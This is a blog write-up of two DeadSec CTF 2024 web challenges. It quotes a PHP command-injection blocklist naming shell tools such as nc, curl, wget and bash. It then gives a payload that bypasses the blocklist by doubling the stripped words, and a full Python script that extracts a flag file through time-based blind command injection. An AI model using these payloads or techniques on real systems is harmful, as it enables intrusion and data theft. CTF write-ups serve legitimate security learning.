Post

DeadSec CTF 2024 Web Write-ups

Bing2

Files: Bing2

Simple command injection filter bypass, the code will remove all the following characters/words

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
$substitutions = array(
' ' => '',
'&'  => '',
'&&' => '',
'('  => '',
')'  => '',
'-'  => '',
'`'  => '',
'|' => '',
'||' => '',
'; ' => '',	
'%' => '',
'~' => '',
'<' => '',
'>' => '',
'/ ' => '',
'\\' => '',
'ls' => '',
'cat' => '',
'less' => '',
'tail' => '',
'more' => '',
'whoami' => '',
'pwd' => '',
'busybox' => '',
'nc' => '',
'exec' => '',
'sh' => '',
'bash' => '',
'php' => '',
'perl' => '',
'python' => '',
'ruby' => '',
'java' => '',
'javac' => '',
'gcc' => '',
'g++' => '',
'make' => '',
'cmake' => '',
'nmap' => '',
'wget' => '',
'curl' => '',
'scp' => '',
'ssh' => '',
'ftp' => '',
'telnet' => '',
'dig' => '',
'nslookup' => '',
'iptables' => '',
'chmod' => '',
'chown' => '',
'chgrp' => '',
'kill' => '',
'killall' => '',
'service' => '',
'systemctl' => '',
'sudo' => '',
'su' => '',
'flag' => '',
);

This can be bypassed using this payload, because the code is not replacing them recursively:

1
Submit=1&ip=127.0.0.1++${IFS}+%3b+ccatat+${IFS}+/fflaglag.txt

Bing_revenge

Files: Bing_revenge

Time-based Blind OS command injection

Solution script that will take 5000 years to finish, can be optimized but wont be accurate as we are depending on time delays to confirm the, so with high number of concurrent requests this will increase the time delay.

after getting the possible flag, it can be checked using the checker() function.

1
DEAD{f93efeba-0d78-4130-9114-783f2cd337e3}

Solution script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import requests
from concurrent.futures import ThreadPoolExecutor, as_completed

url = 'https://509daf15f4f551f00d7ce4ef.deadsec.quest/flag'
MAX_SLEEP = 2
THREADS = 8

def run(cmd):
        return requests.post(url, data=dict(host=f";python3 -c 'from time import sleep;x=1 if ({cmd}) else sleep({MAX_SLEEP})'".replace('FLAG', 'open("/flag.txt").read()')))

true = lambda resp: resp.elapsed.total_seconds() < MAX_SLEEP

def binary_search(payload = 'True', pos = 5):
    direction = 1
    step = 16
    # prevent dead end
    tries = 0

    while True and tries < 100:
        check = f'({payload}){">=" if direction == 1 else "<="}{pos}'
        resp = run(check)

        #print(pos, step)
        if step <= 2 and true(run(f'({payload}) == {pos}')):
            return pos

        if not true(resp):
            step = step//2 or 1
            direction *= -1

        pos += direction*step
        tries += 1

    raise Exception("Binary search failed.")

def find_flag_length() -> int:
    return binary_search('len(FLAG)')

def find_flag():
    length = find_flag_length()-1
    flag = ['*']*length

    print('Found flag length: ', length)
    print(''.join(flag), end='')

    with ThreadPoolExecutor(max_workers=THREADS) as executor:
        futures = {executor.submit(binary_search, f'ord(FLAG[{i}])', 97): i for i in range(length)}

        for f in as_completed(futures.keys()):
            c = chr(f.result())
            flag[futures[f]] = c
            print('\b'*length, end='', flush=True)
            print(''.join(flag), end='', flush=True)
    
    print('\nFlag:', flag := ''.join(flag))
    return flag

find_flag()
This post is licensed under CC BY 4.0 by the author.